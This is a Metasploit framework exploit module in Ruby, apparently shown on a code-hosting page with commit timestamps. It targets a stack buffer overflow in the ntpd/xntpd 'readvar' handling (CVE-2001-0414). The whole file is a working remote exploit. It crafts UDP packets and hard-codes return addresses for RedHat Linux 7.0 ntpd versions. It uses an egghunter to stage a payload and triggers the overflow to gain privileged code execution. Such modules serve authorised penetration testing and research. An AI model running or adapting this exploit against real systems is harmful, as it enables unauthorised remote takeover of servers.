metasploit-framework/modules/exploits/multi/ntp/ntp_overflow.rb

94 lines
2.8 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GoodRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
2013-11-15 06:03:42 +00:00
'Name' => 'NTP Daemon readvar Buffer Overflow',
2013-08-30 21:28:54 +00:00
'Description' => %q{
This module exploits a stack based buffer overflow in the
ntpd and xntpd service. By sending an overly long 'readvar'
request it is possible to execute code remotely. As the stack
is corrupted, this module uses the Egghunter technique.
},
'Author' => 'patrick',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2001-0414' ],
[ 'OSVDB', '805' ],
[ 'BID', '2540' ],
[ 'US-CERT-VU', '970472' ],
],
'Payload' =>
{
'Space' => 220,
'BadChars' => "\x00\x01\x02\x16,=",
'StackAdjustment' => -3500,
'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "xor eax,eax mov al,27 int 0x80").encode_string, # alarm(0)
'Compat' =>
{
'ConnectionType' => '-reverse',
},
},
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'Targets' =>
[
[ 'RedHat Linux 7.0 ntpd 4.0.99j', { 'Ret' => 0xbffffbb0 } ],
[ 'RedHat Linux 7.0 ntpd 4.0.99j w/debug', { 'Ret' => 0xbffff980 } ],
[ 'RedHat Linux 7.0 ntpd 4.0.99k', { 'Ret' => 0xbffffbb0 } ],
#[ 'FreeBSD 4.2-STABLE', { 'Ret' => 0xbfbff8bc } ],
[ 'Debugging', { 'Ret' => 0xdeadbeef } ],
],
'Privileged' => true,
'DisclosureDate' => 'Apr 04 2001',
'DefaultTarget' => 0))
register_options([Opt::RPORT(123)], self.class)
end
def exploit
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
egg = hunter[1]
connect_udp
pkt1 = "\x16\x02\x00\x01\x00\x00\x00\x00\x00\x00\x016stratum="
pkt2 = "\x16\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00"
sploit = pkt1 + make_nops(512 - pkt1.length)
sploit[(220 + pkt1.length), 4] = [target['Ret']].pack('V')
sploit[(224 + pkt1.length), hunter[0].length] = hunter[0]
print_status("Trying target #{target.name}...")
print_status("Sending hunter")
udp_sock.put(sploit)
select(nil,nil,nil,0.5)
print_status("Sending payload")
udp_sock.put(pkt1 + egg)
select(nil,nil,nil,0.5)
print_status("Calling overflow trigger")
udp_sock.put(pkt2)
select(nil,nil,nil,0.5)
handler
disconnect_udp
end
end